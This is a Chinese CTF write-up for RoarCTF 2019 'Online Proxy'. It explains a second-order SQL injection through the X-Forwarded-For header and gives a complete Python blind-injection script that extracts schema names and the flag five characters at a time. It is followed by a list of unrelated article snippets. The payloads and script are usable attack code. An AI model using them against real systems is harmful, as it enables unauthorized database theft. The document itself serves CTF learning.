[RoarCTF 2019Online Proxy]sql巧妙盲注
文章目录
- [RoarCTF 2019Online Proxy]sql巧妙盲注
- 解题
- 脚本
- 脚本解析
[RoarCTF 2019Online Proxy]sql巧妙盲注
解题
在源代码界面发现:Current Ip

我们会联想到:X-Forwarded-For来修改ip:

结果我们发现,response会讲Last Ip回显出来,并且我们使用dirsearch扫描到了db.php

我们自然会联想到数据库。当我们使用X-Forwarded-For请求的时候,会将上一次的值回显在Last Ip
这里应该是存在sql注入的。
如果我们传递一个sql进入XFF中,然后第二次随便输入一个值,将sql存入数据库,第三次再输入同一个值,就会发生sql查询,将之前的sql语句查询出来,造成二次注入
我们验证可以使用单引号闭合:
第一次XFF:0’ or '114514 ,第二次:leekos, 第三次:leekos
在第三次就会查询出114514
脚本
所以我们就需要编写脚本了:
import requestsurl = "http://node4.buuoj.cn:27640/"
def execsql(sql):result = ""payload = "0'|length(("+sql+"))|'0"session = requests.session()r = session.get(url,headers={'X-Forwarded-For':payload})r = session.get(url,headers={'X-Forwarded-For':'leekos'})r = session.get(url,headers={'X-Forwarded-For':'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->",start)length = int(r.text[start:end])print("[+]长度:"+str(length))for i in range(1,length+1,5): # 1次查5个字符,妙payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)r = session.get(url, headers={'X-Forwarded-For': payload})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})r = session.get(url, headers={'X-Forwarded-For': 'leekos'})start = r.text.find("Last Ip: ") + 9end = r.text.find(" -->", start)res = int(r.text[start:end])result += bytes.fromhex(hex(res)[2:]).decode("utf-8")print(result)return result# print("数据库名:" + execsql("select group_concat(schema_name) from information_schema.schemata"))
# print("表名:" + execsql("select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"))
# print("列名:" + execsql("select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e' and table_schema='F4l9_D4t4B45e'"))
print("flag:" + execsql("select group_concat(`F4l9_C01uMn`) from F4l9_D4t4B45e.F4l9_t4b1e"))
脚本解析
这个脚本非常的巧妙,与我之前接触的脚本不同,这个脚本可以通过盲注,一次查询多个字符,
原理就是将字符串转为16进制,再转为10进制,读出来,最后重新将10进制转为16进制,最后转为字符串,利用的就是
字符串与16进制之间的转化
举个例子:
hex('abc')=616263 ,然后通过sql函数conv(hex('abc'),16,10) = 6382179 将abc的16进制转为10进制
在sql中16进制可以自动转为字符串:

这种做法大大提高了查询的速度!
bytes.fromhex() 这个函数是将16进制数字转为字节,然后decode()解码为字符
整个脚本的重点就是如下:
payload = "0'|conv(hex(substr(({}),{},5)),16,10)|'0".format(sql,i)res = int(r.text[start:end])
result += bytes.fromhex(hex(res)[2:]).decode("utf-8")
首先通过sql查询,将部分结果拿出,然后转为16进制,再转为10进制
然后将requests的返回结果取出,转为16进制,最后转为字符
这样实现了一次查询多个字符
相关文章:
[RoarCTF 2019Online Proxy]sql巧妙盲注
文章目录 [RoarCTF 2019Online Proxy]sql巧妙盲注解题脚本脚本解析 [RoarCTF 2019Online Proxy]sql巧妙盲注 解题 在源代码界面发现:Current Ip 我们会联想到:X-Forwarded-For来修改ip: 结果我们发现,response会讲Last Ip回显出…...
flutter开发实战-just_audio实现播放音频暂停音频设置音量等
flutter开发实战-just_audio实现播放音频暂停音频设置音量等 最近开发过程中遇到需要播放背景音等音频播放,这里使用just_audio来实现播放音频暂停音频设置音量等 一、引入just_audio 在pubspec.yaml引入just_audio just_audio: ^2.7.0在iOS上,video_p…...
【Bert101】最先进的 NLP 模型解释【01/4】
0 什么是伯特? BERT是来自【Bidirectional Encoder Representations from Transformers】变压器的双向编码器表示的缩写,是用于自然语言处理的机器学习(ML)模型。它由Google AI Language的研究人员于2018年开发,可作为…...
c语言经典例题讲解(输出菱形,喝汽水问题)
目录 一、输出菱形 二、喝汽水问题 方法1:一步一步来 方法二:直接套公式 一、输出菱形 输出类似于下图的菱形: 通过分析:1、先分为上下两部分输出 2.在输出前先输出空格 3.找规律进行输出 可知,可令上半部分lin…...
【Flutter】【基础】CustomPaint 绘画功能(一)
功能:CustomPaint 相当于在一个画布上面画画,可以自己绘制不同的颜色形状等 在各种widget 或者是插件不能满足到需求的时候,可以自己定义一些形状 使用实例和代码: CustomPaint: 能使你绘制的东西显示在你的ui 上面&a…...
iOS 实现图片高斯模糊效果
效果图 用到了 UIVisualEffectView 实现代码 - (UIVisualEffectView *)bgEffectView{if(!_bgEffectView){UIBlurEffect *blur [UIBlurEffect effectWithStyle:UIBlurEffectStyleLight];_bgEffectView [[UIVisualEffectView alloc] initWithEffect:blur];}return _bgEffect…...
[保研/考研机试] KY7 质因数的个数 清华大学复试上机题 C++实现
描述 求正整数N(N>1)的质因数的个数。 相同的质因数需要重复计算。如1202*2*2*3*5,共有5个质因数。 输入描述: 可能有多组测试数据,每组测试数据的输入是一个正整数N,(1<N<10^9)。 输出描述: 对于每组数…...
初识Redis
目录 认识Redis分布式系统Redis的特性Redis的应用场景Redis客户端Redis命令 认识Redis 上面一段话是官网给出的对Redis的介绍,in-memory data store表明Redis是在内存中存储数据的,这和我们接触的其他数据库就有很大的不同,比如MySQL…...
每天一道leetcode:115. 不同的子序列(动态规划困难)
今日份题目: 给你两个字符串 s 和 t ,统计并返回在 s 的 子序列 中 t 出现的个数。 题目数据保证答案符合 32 位带符号整数范围。 示例1 输入:s "rabbbit", t "rabbit" 输出:3 解释: 如下所…...
服务器数据恢复-RAID5多块磁盘离线导致崩溃的数据恢复案例
服务器数据恢复环境: DELL POWEREDGE某型号服务器中有一组由6块SCSI硬盘组建的RAID5阵列,LINUX REDHAT操作系统,EXT3文件系统,存放图片文件。 服务器故障&分析: 服务器raid5阵列中有一块硬盘离线,管理员…...
NO.2 MyBatis框架:创建Mapper接口和映射文件,实现基本增删改查
目录 1、Mapper接口和映射文件关系 2、Mapper接口和映射文件的命名规则 2.1 Mapper接口的命名规则 2.2 映射文件的命名规则 3、Mapper接口和映射文件的创建及增删改查的实现 3.1 Mapper接口和映射文件的创建 3.2 增删改查的实现 3.2.1表结构 3.2.2 创建表User对应的实…...
【JS】怎么提取object类的内容
需求:在网页端中通过getElementsByClassName获取到一个元素,想提取其中的数字内容做个if判断,奈何一直提取不了 开始获取元素时,以为默认就是字符类型;但使用操作字符的函数就失败,然后就考虑数据类型是不是…...
分布式系统的 38 个知识点
天天说分布式分布式,那么我们是否知道什么是分布式,分布式会遇到什么问题,有哪些理论支撑,有哪些经典的应对方案,业界是如何设计并保证分布式系统的高可用呢? 1. 架构设计 这一节将从一些经典的开源系统架…...
机器学习基础(二)
线性回归 误差是独立并且具有相同的分布通常认为服从均值为0方差为的高斯分布。 损失函数(loss Function)/代价函数(Cost Function) 其实两种叫法都可以,损失函数(loss function)或代价函数(cost function)是将随机事件或其有关随机变量的取值映射为非负实数以表示该随…...
Java 实现Rtsp 转rtmp,hls,flv
服务支撑:FFmpeg srs(流媒体服务器) 整个流程是 FFmpeg 收流转码 推 rtmp 到流媒体服务 流媒体服务再 分发流到公网 搭建流媒体服务: 1. SRS (Simple Realtime Server) | SRS (本例子使用的是SrS 安装使用docker ) 2.GitHub - ZLMedi…...
机器学习基础(三)
逻辑回归 场景 垃圾邮件分类 预测肿瘤是良性还是恶性 预测某人的信用是否良好 正确率与召回率 正确率与召回率(Precision & Recall)是广泛应用于信息检索和统计学分类领域的两个度量值,用来评价结果的质量。 一般来说,正确率就是检索出来的条目有多少是正确的,召回率就…...
Kubeadm安装K8s集群
一、硬件环境 准备3台Linux服务器,此处用Vmware虚拟机。 主机名CPU内存k8smaster2核4Gk8snode12核4Gk8snode22核4G 二、系统前置准备 配置三台主机的hosts文件 cat << EOF > /etc/hosts 192.168.240.130 k8smaster 192.168.240.132 k8snode1 192.168.…...
【C++】开源:spdlog跨平台日志库配置使用
😏★,:.☆( ̄▽ ̄)/$:.★ 😏 这篇文章主要介绍spdlog日志库配置使用。 无专精则不能成,无涉猎则不能通。——梁启超 欢迎来到我的博客,一起学习,共同进步。 喜欢的朋友可以关注一下,下…...
[Azkaban] No active executors found
没有找到活动的executors,需在MySQL数据库里设置端口为12321的executors表的active为1: select * from executors;如果显示active0 则需要进行处理: update azkaban.executors set active1;当active0,更新为1时,用 n…...
无涯教程-Perl - recv函数
描述 This function receives a message on SOCKET attempting to read LENGTH bytes, placing the data read into variable SCALAR.The FLAGS argument takes the same values as the recvfrom( ) system function, on which the function is based. When communicating wit…...
基于2D工程图几何特征与梯度提升模型的制造成本智能预测
1. 项目概述:从图纸到报价的智能革命在制造业,尤其是像汽车零部件这样的离散制造领域,报价速度直接决定了订单的生死。传统上,拿到一张新的2D工程图(DWG格式),成本工程师需要花上几天甚至几周时…...
64_《智能体微服务架构企业级实战教程》授权与认证之授权认证集成测试
前言 配套视频教程: 在 Bilibili课堂、CSDN课程、51CTO学堂 同步发售,提供:源码+部署脚本+文档。 bilibili课堂视频教程:智能体微服务架构企业级实战教程_哔哩哔哩_bilibili CSDN课程视频教程:智能体微服务架构企业级实战教程_在线视频教程-CSDN程序员研修院 51CTO学堂…...
Kerberos身份认证原理与企业级排错实战指南
1. 这不是“另一个登录框”,而是一套精密运转的身份验证齿轮系统很多人第一次听说 Kerberos,是在公司内网登录邮箱或访问内部系统时,看到那个带小盾牌图标的弹窗——“正在使用 Kerberos 协议进行身份验证”。于是下意识觉得:“哦…...
告别道路预测老套路:用ParkPredict+模型思路,解决停车场里的‘鬼探头’难题
破解泊车场景预测困局:ParkPredict模型的技术革新与实践停车场里的每一次转向、倒车和避让,都是对自动驾驶系统预测能力的极限挑战。与开放道路的规则明确不同,这里没有清晰的车道线指引,没有统一的行驶方向,只有随时可…...
为什么鸿蒙 App 最终都会走向状态驱动?
子玥酱 (掘金 / 知乎 / CSDN / 简书 同名) 大家好,我是 子玥酱,一名长期深耕在一线的前端程序媛 👩💻。曾就职于多家知名互联网大厂,目前在某国企负责前端软件研发相关工作,主要聚…...
别再手动编译了!Matlab一键调用CEC2017测试函数的完整配置指南(附30个函数调用示例)
别再手动编译了!Matlab一键调用CEC2017测试函数的完整配置指南(附30个函数调用示例) 算法研究者们常常需要借助标准测试函数来验证优化算法的性能,而CEC2017测试函数集因其复杂性和多维度的挑战性,成为评估算法鲁棒性的…...
CUDA并行计算与FSR框架优化实践
1. CUDA并行计算与FSR框架概述在GPU加速计算领域,CUDA(Compute Unified Device Architecture)作为NVIDIA推出的并行计算平台和编程模型,已经成为高性能计算的事实标准。其核心设计理念是将计算任务分解为网格(Grid&…...
WarcraftHelper终极指南:深度解析魔兽争霸III现代化兼容性解决方案
WarcraftHelper终极指南:深度解析魔兽争霸III现代化兼容性解决方案 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper WarcraftHelper是一款专…...
国产大模型新王登基?Qwen3.7-Max全球第五、编程Agent登顶,千问APP免费体验全攻略
AI前线观察 | 2026.05.25 就在刚刚过去的阿里云峰会上,通义千问甩出了一张“王炸”。万亿参数MoE架构的旗舰模型Qwen3.7-Max正式接入千问APP、PC端及网页端。这不仅仅是一次版本更新,更是国产大模型在权威第三方榜单中首次稳居全球前五、国产第一的里程碑…...
如何快速无损转换B站m4s视频:完整工具使用指南
如何快速无损转换B站m4s视频:完整工具使用指南 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾为B站缓存视频无法在其他设备…...
